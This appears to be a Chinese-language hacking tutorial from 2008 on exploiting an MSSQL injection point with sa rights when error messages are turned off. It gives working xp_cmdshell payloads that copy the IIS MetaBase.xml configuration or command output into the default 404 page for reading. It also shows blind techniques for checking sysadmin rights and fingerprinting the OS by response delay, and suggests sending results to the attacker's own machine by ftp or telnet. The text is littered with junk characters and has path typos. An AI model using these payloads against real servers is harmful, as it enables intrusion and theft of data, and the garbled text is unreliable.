遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。2 {" S/ |8 q9 {8 \& |/ `
$ ?% o% Z) R8 [7 f6 Y1 m# d2 G4 i$ t 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。0 F4 q" j \( \4 Y3 d" N4 X
* E& F% e8 O' X' N" t/ J6 `- | 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
! r7 {" O/ l! t1 ~: r' {- Q6 Z: n- i. X, L4 v' w
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
* n, U, W9 x; N: X: M
4 y# w* m8 }4 p( a- i$ H. F0 E; W- G4 n 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--* C4 b8 {; S% e H
( K# k, j) M E3 F+ j4 ^
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
! g7 A! R' E3 o# N8 K9 d! q7 H5 T. B. ^" U8 R f3 x! h, e
执行命令得到回显' b: v/ V' b+ |6 m
7 i2 ?( W* K8 ?, {" d- E 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
t+ x A" N: I! I: Q6 G9 _: q2 R# y! ^
得到文件也shi相同,把文件copy到404b.htm就行了
, N2 W& q, d& y+ \/ F I5 h2 Z0 g1 C1 u/ z- q3 q6 F
by 28ice, 2008/6/26
% g( T& O6 Q3 a. w+ ~5 q8 M d' p% I* p6 ]- T _
摘自 28度的冰6 G i) n4 U$ E- p
" N: s- m% I( v' R4 F% ?/ P2 R
盲注判断权限和操作系统版本
+ l- z9 H4 J% G( T) W; n% R. t- E0 g" k9 f8 t A( F
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
1 j& I1 B, E3 x8 x% q
" M, q) e" Z8 P% w' G0 g 最简单的,可能以用这样的方法:
1 d4 a. V$ |- [" F: u, P+ W5 W
# m+ `# n/ R' Q 1=(select IS_SRVROLEMEMBER(’sysadmin’))1 ]: K$ g' ?+ c* r: L
: K |- {4 F, K6 o' q+ m7 @ 当然,有些情况下,这个方法并不奏效。
1 Y4 s6 K% }% A! f( f8 @0 _7 t& j
/ g k3 b+ Q% O" w! U: R0 T) K 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
4 x, U- `8 i* J: _1 S1 R4 k" m# P1 K b# {5 W! b
有个3办法可能以解决这个问题
) w5 I6 ]' {( _0 \$ @& O3 w' {
) w' M6 I, k' L4 R* Q4 |; f a.把执行结果写到404b.htm,具体请看我的上一篇文章
8 `9 x" l6 U$ D4 y$ m: ]/ ~% O; H" v( D" K( F
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟% l# V$ J2 ^1 c; h0 t
' R- G" H+ S) g
c.如果1433端口可能以连接,那干脆新建个sql登录
% x E! M) V ~# w
- e1 A4 ~6 J& \ A6 J. m o d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数. U5 {" `7 L- A) n- S
) k1 k* k6 h* M; Z2 k
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下) F s. k5 z' c9 o& u8 e! ^
9 Q, |' O: G& r [; J9 \0 ^
很简单
+ _7 _4 {# d% K! o# ?: j' l/ ?% g% K( c1 ^& ~. {
执行systeminfo
% ~: B7 v+ ]& b: N( M0 M; ]/ H( ~+ _
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |